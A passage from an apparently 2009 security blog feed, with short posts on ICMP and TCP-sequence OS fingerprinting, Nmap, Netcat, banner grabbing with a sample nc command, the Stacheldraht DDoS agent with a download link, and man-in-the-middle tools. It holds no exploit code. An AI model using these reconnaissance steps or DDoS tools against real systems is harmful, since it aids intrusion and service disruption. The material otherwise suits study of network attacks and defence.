Quoting&lt;/span&gt; -- The RFCs specify that ICMP error messages quote some small amount of an ICMP message that causes various errors. For a port unreachable message, almost all implementations send only the required IP header + 8 bytes back. However, Solaris sends back a bit more and Linux sends back even more than that. The beauty with this is it allows &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt; to recognize Linux and Solaris hosts even if they don't have any ports listening.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a id="3" title="3"&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;ICMP Error message echoing integrity&lt;/span&gt; -- Machines have to send back part of your original message along with a port unreachable error. Yet some machines tend to use your headers as 'scratch space' during initial processing and so they are a bit warped by the time you get them back. For example, AIX and BSDI send back an IP 'total length' field that is 20 bytes too high. Some BSDI, FreeBSD, OpenBSD, ULTRIX, and VAXen fuck up the IP ID that you sent them. While the checksum is going to change due to the changed TTL anyway, there are some machines (AIX, FreeBSD, etc.) which send back an inconsistent or 0 checksum. Same thing goes with the UDP checksum. All in all, nmap does nine different tests on the ICMP errors to sniff out subtle differences like these.need to send a bunch of packets and wait for them to return. Also dealing with the possibility of packets dropped on the network would be a pain. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-829036393006194665?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/829036393006194665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/icmp-scanning-os-detection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/829036393006194665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/829036393006194665'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/icmp-scanning-os-detection.html' title='ICMP Scanning - OS Detection'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-378645520960662689</id><published>2009-08-12T03:38:00.000-07:00</published><updated>2009-08-13T03:31:15.727-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><title type='text'>Internet Control Message Protocol (ICMP)</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a href="http://freebie.fatpipe.org/%7Emjb/Drawings/UDP_ICMP_Headers.png"&gt;&lt;img style="border: 0px none ; width: 403px; height: 309px;" src="http://freebie.fatpipe.org/%7Emjb/Drawings/UDP_ICMP_Headers.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-weight: bold;"&gt;Fig. ICMP Header. Click to enlarge&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;The Internet Control Message Protocol goals and features were outlined in RFC 792 as a way to provide a means to send error messages for non-transient error conditions, and to provide a way to probe the network in order to determine general characteristics about the network.&lt;br /&gt;&lt;br /&gt;A more accurate definition of the Internet Control Message Protocol goals and features might be that it is used for two types of operations:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;When a router or a destination host need to inform the source host about errors in a datagram processing, and&lt;/li&gt;&lt;li&gt;For probing the network with request &amp;amp; reply messages in order to determine general characteristics about the network.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;The ICMP protocol has two types of operations; therefore its messages are also divided to two:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;ICMP Error Messages&lt;/li&gt;&lt;li&gt;ICMP Query Messages&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;The Internet Assigned Numbers Authority (IANA) has a list defining the ICMP message types that are currently registered. It also lists the RFC that defines the ICMP message. The list is available at: http://www.isi.edu/in-notes/iana/assignments/icmp-parameters.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-378645520960662689?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/378645520960662689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/378645520960662689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/378645520960662689'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html' title='Internet Control Message Protocol (ICMP)'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-99652692357055107</id><published>2009-08-11T05:54:00.001-07:00</published><updated>2009-08-12T03:37:16.491-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>NMap</title><content type='html'>&lt;p&gt;Nmap features include:&lt;/p&gt; &lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/detecting-live-systems.html" title="Detecting Live Systems - Host Discovery"&gt;Host Discovery&lt;/a&gt; - Identifying computers on a network, for example listing the computers which respond to pings, or which have a particular port open&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/scanning.html" title="Port scanning"&gt;Port Scanning&lt;/a&gt; - Enumerating the open &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/tcp-ports.html" title="TCP port"&gt;ports&lt;/a&gt; on one or more &lt;i&gt;target computers&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Version Detection - Interrogating listening network services listening on remote computers to determine the application name and version number&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/detecting-live-systems.html" title="OS Detection"&gt;OS Detection&lt;/a&gt; - Remotely determining the operating system and some hardware characteristics of network devices.&lt;/li&gt;&lt;/ul&gt;DOWNLOAD SITE : http://nmap.org/download.html , insecure.org&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-99652692357055107?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/99652692357055107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/nmap.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/99652692357055107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/99652692357055107'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/nmap.html' title='NMap'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4048976407054811706</id><published>2009-08-11T05:30:00.001-07:00</published><updated>2009-08-11T06:12:01.683-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><category scheme='http://www.blogger.com/atom/ns#' term='Session Attacks'/><title type='text'>Sequence Numbers</title><content type='html'>&lt;div&gt;&lt;span class="sidebar-title"&gt;&lt;b&gt;&lt;center&gt;Sequence Number&lt;br /&gt;&lt;/center&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;TCP provides a full duplex reliable stream connection between two end computers.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Data is packeted into a number of data packets and every byte that is sent by a host is marked with a sequence number and is acknowledged by the receiver using this sequence number.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Sequence numbers are a 32-bit counter, which means the value  can be any of over 4 billion possible combinations.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Sequence numbers ensure that the receiving machine  re-assembles the data packets in the same order to obtain the original data as they were dis-assembled at the transmitting end.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;The sequence number for the first byte sent is computed during the connection opening.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;If a computer opens a new connection in addition to an existing connection, the initial sequence number for two different sessions are different.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;When the TCP sequence is predictable, an attacker can send packets that are forged to appear to come from a trusted computer using the sequence number used by the victim computer.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Pseudo-random number generators (PRNGs) introduced some randomness when producing ISNs used in TCP connections, thereby, making ISNs harder to guess, but were still vulnerable to statistical attack&lt;/li&gt;&lt;/ul&gt;&lt;table class="note" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td style="font-weight: bold; font-style: italic;" class="admon-check" valign="top"&gt;&lt;br /&gt;&lt;/td&gt; &lt;td style="font-weight: bold; font-style: italic;" class="admon-title" valign="top" width="56"&gt;Threat   &lt;/td&gt; &lt;td style="text-align: justify;" class="admon-body" valign="top"&gt; &lt;p class="first-para"&gt;If a sequence number within the receive window is known, an attacker can inject data into the session stream or choose to terminate the connection. If the attacker knows the initial sequence number, he can send a simple packet to inject data or kill the session if he is aware of the number of bytes transmitted in the session this far.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.rabbit.com/documentation/docs/manuals/TCPIP/Introduction/images/5protocb.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 313px; height: 363px;" src="http://www.rabbit.com/documentation/docs/manuals/TCPIP/Introduction/images/5protocb.gif" title="INITIAL SEQUENCE NUMBER during TCP communication" alt="INITIAL SEQUENCE NUMBER" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;Fig. &lt;span style="font-weight: bold;"&gt;INITIAL SEQUENCE NUMBER&lt;/span&gt;. Click to magnify.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4048976407054811706?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4048976407054811706/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/sequence-numbers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4048976407054811706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4048976407054811706'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/sequence-numbers.html' title='Sequence Numbers'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5654641388218131239</id><published>2009-08-11T04:26:00.001-07:00</published><updated>2009-08-11T06:07:54.141-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><title type='text'>Initial Sequence Number (ISN) Sampling</title><content type='html'>&lt;span style="font-size:78%;"&gt;Learn about TCP/IP &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="sequence numbers" href="http://swizardb.blogspot.com/2009/08/sequence-numbers.html"&gt;sequence numbers&lt;/a&gt; before reading this post.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TCP Initial Sequence Number (ISN) Sampling&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Different OS choose different ISN while initiating a connection request to send a data packet.&lt;/li&gt;&lt;li&gt;Attackers find patterns in the initial  &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="sequence numbers" href="http://swizardb.blogspot.com/2009/08/sequence-numbers.html"&gt;sequence numbers&lt;/a&gt; chosen by TCP implementations when responding to a connection request.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Many old UNIX boxes use the traditional 64K ISN, while newer versions of Solaris, IRIX, FreeBSD, Digital UNIX, Cray, and many others use Random increments, Linux 2.0, OpenVMS, use truely "random" ISNs.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Windows boxes (and a few others) use a "time dependent" model where the ISN is incremented by a small fixed amount each time period.&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt; provides the capability to use this technique for OS identification.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5654641388218131239?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5654641388218131239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/initial-sequence-number-isn-sampling.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5654641388218131239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5654641388218131239'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/initial-sequence-number-isn-sampling.html' title='Initial Sequence Number (ISN) Sampling'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2446724381872132167</id><published>2009-08-10T12:18:00.000-07:00</published><updated>2009-08-13T04:14:21.498-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><title type='text'>NetCat</title><content type='html'>&lt;div style="text-align: justify;"&gt;Netcat is a utility that is able to write and read data across &lt;a style="color: rgb(0, 0, 0);" title="transmission-control-protocol-tcp" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html"&gt;TCP&lt;/a&gt; and UDP network connections. Netcat can be used as port scanner, a backdoor, a port redirector, a port listener and lots of other cool things too. It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me ☺&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://d9n.blogspot.com/2009/08/netcat.html" title="Download Netcat" rel="nofollow"&gt;Download Netcat&lt;/a&gt; from DOWNLOAD MALL&lt;br /&gt;&lt;br /&gt;Some of netcat's major features are: &lt;ul&gt;&lt;li&gt;Outbound or inbound connections, TCP or UDP, to or from any ports&lt;/li&gt;&lt;li&gt;Full DNS forward/reverse checking, with appropriate warnings&lt;/li&gt;&lt;li&gt;Ability to use any local source port&lt;/li&gt;&lt;li&gt;Ability to use any locally-configured network source address&lt;/li&gt;&lt;li&gt;Built-in port-scanning capabilities, with randomization&lt;/li&gt;&lt;li&gt;Built-in loose source-routing capability&lt;/li&gt;&lt;li&gt;Can read command line arguments from standard input&lt;/li&gt;&lt;li&gt;Slow-send mode, one line every N seconds&lt;/li&gt;&lt;li&gt;Hex dump of transmitted and received data&lt;/li&gt;&lt;li&gt;Optional ability to let another program service established connections&lt;/li&gt;&lt;li&gt;Optional telnet-options responder&lt;/li&gt;&lt;/ul&gt;Related Posts : &lt;a title="Using NetCat" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/using-netcat.html"&gt;Using NetCat&lt;/a&gt; - for a complete Website Hack!!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img style="width: 453px; height: 233px;" src="http://i40.tinypic.com/a1pxqo.jpg" /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:78%;" &gt;Fig. NETCAT being used to port scanning&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2446724381872132167?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2446724381872132167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/netcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2446724381872132167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2446724381872132167'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/netcat.html' title='NetCat'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i40.tinypic.com/a1pxqo_th.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-4190598987970486625</id><published>2009-08-10T11:28:00.000-07:00</published><updated>2009-08-10T12:53:14.986-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><title type='text'>Banner Grabbing</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;All open ports have a service or a daemon running on them. As soon as you telnet or connect to such open ports, you are greeted by a welcome message, which is actually known as the daemon banner. A &lt;span style="font-weight: bold;"&gt;daemon banner&lt;/span&gt; contains certain information about the daemon running on that particular port, other system information and sometimes also the message of the day.&lt;br /&gt;&lt;br /&gt;If an attacker connects to various ports of the target system, then he will find that each port has a daemon banner waiting, which can reveal juicy pieces of information regarding the target host, including the operating system name, daemon name and version, time and date, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Banner Grabbing is an enumeration technique used to glean information about computer systems on a network and the services running its open ports.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; An intruder can use banner grabbing in order to find network hosts that are running versions of applications and operating systems with known exploits.&lt;br /&gt;&lt;br /&gt;Tools commonly used to perform banner grabbing are Telnet, which is included with most operating systems, and &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/netcat.html"&gt;Netcat&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;For example one could establish a connection to a target host running a web service with &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/netcat.html"&gt;netcat&lt;/a&gt;, then send a bad html request in order to get information about the service on the host:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;  [root@prober] nc www.targethost.com 80&lt;br /&gt;HEAD / HTTP/1.1&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Mon, 11 May 2009 22:10:40 EST&lt;br /&gt;Server: Apache/2.0.46 (Unix) (Red Hat/Linux)&lt;br /&gt;Last-Modified: Thu, 16 Apr 2009 11:20:14 PST&lt;br /&gt;ETag: "1986-69b-123a4bc6"&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Content-Length: 1110&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;/pre&gt;The administrator can now catalog this system or an intruder now knows what version of Apache to look for exploits for.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-4190598987970486625?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/4190598987970486625/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/banner-grabbing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4190598987970486625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/4190598987970486625'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/banner-grabbing.html' title='Banner Grabbing'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3039306613957448153</id><published>2009-08-08T00:09:00.000-07:00</published><updated>2009-08-08T00:25:19.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>Stacheldraht</title><content type='html'>&lt;div style="text-align: justify;"&gt;Stacheldraht (German for barbed wire) is a piece of software written by Random for Linux and Solaris systems which acts as a distributed denial of service (DDoS) agent. The tool detects and automatically enables source address forgery.&lt;br /&gt;&lt;br /&gt;Stacheldraht uses a number of different &lt;a title="Denial of Service attack" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/denial-of-service-dos-attack.html"&gt;DoS attacks&lt;/a&gt;, including: UDP flood, ICMP flood, TCP &lt;a title="SYN flood" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/syn-flood.html"&gt;SYN flood&lt;/a&gt; and &lt;a title="Smurf attack" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/smurf-attack.html"&gt;Smurf attack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It combines features of  &lt;a title="TRINOO" style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/trinoo.html"&gt;Trinoo&lt;/a&gt; with TFN, and adds encryption.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table class="infobox vevent" style="width: 22em; text-align: left; font-size: 88%; line-height: 1.5em;" cellspacing="5"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th style="white-space: nowrap;"&gt;Stable release&lt;/th&gt; &lt;td class="" style=""&gt;4&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th style="white-space: nowrap;"&gt;Written in&lt;/th&gt; &lt;td class="" style=""&gt;C&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th style="white-space: nowrap;"&gt;Operating system&lt;/th&gt; &lt;td class="" style=""&gt;Linux, Solaris&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th style="white-space: nowrap;"&gt;Size&lt;a href="http://en.wikipedia.org/wiki/File_size" title="File size"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/th&gt; &lt;td class="" style=""&gt;36 kb&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;a href="http://d9n.blogspot.com/2009/08/download-stacheldrahtv4.html" target="_blank"&gt;&lt;span style="text-decoration: none; color: rgb(0, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;DOWNLOAD Stacheldraht v4&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  at Download Mall&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3039306613957448153?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3039306613957448153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/stacheldraht.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3039306613957448153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3039306613957448153'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/stacheldraht.html' title='Stacheldraht'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-8985183102278034294</id><published>2009-08-07T20:05:00.001-07:00</published><updated>2009-08-07T20:09:51.960-07:00</updated><title type='text'>Man in the Middle Attack</title><content type='html'>&lt;div style="text-align: justify;"&gt;The &lt;b&gt;man-in-the-middle attack&lt;/b&gt; (&lt;b&gt;MITM&lt;/b&gt;) is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection when in fact the entire conversation is controlled by the attacker.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TOOLS USED: &lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.monkey.org/%7Edugsong/dsniff/" class="external text" title="http://www.monkey.org/~dugsong/dsniff/" target="_blank" rel="nofollow"&gt;dsniff&lt;/a&gt; - A tool for SSH and SSL MITM attacks&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.oxid.it/" class="external text" title="http://www.oxid.it" rel="nofollow"&gt;Cain&lt;/a&gt; - A Windows GUI tool which can perform MITM attacks, along with &lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/sniffer.html"&gt;sniffing&lt;/a&gt; and  ARP Poisoning&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://ettercap.sourceforge.net/" class="external text" title="http://ettercap.sourceforge.net/" rel="nofollow"&gt;Ettercap&lt;/a&gt; - A tool for LAN based MITM attacks&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://www.theta44.org/karma/" class="external text" title="http://www.theta44.org/karma/" rel="nofollow"&gt;Karma&lt;/a&gt; - A tool that uses 802.11 Evil Twin attacks to perform MITM attacks&lt;br 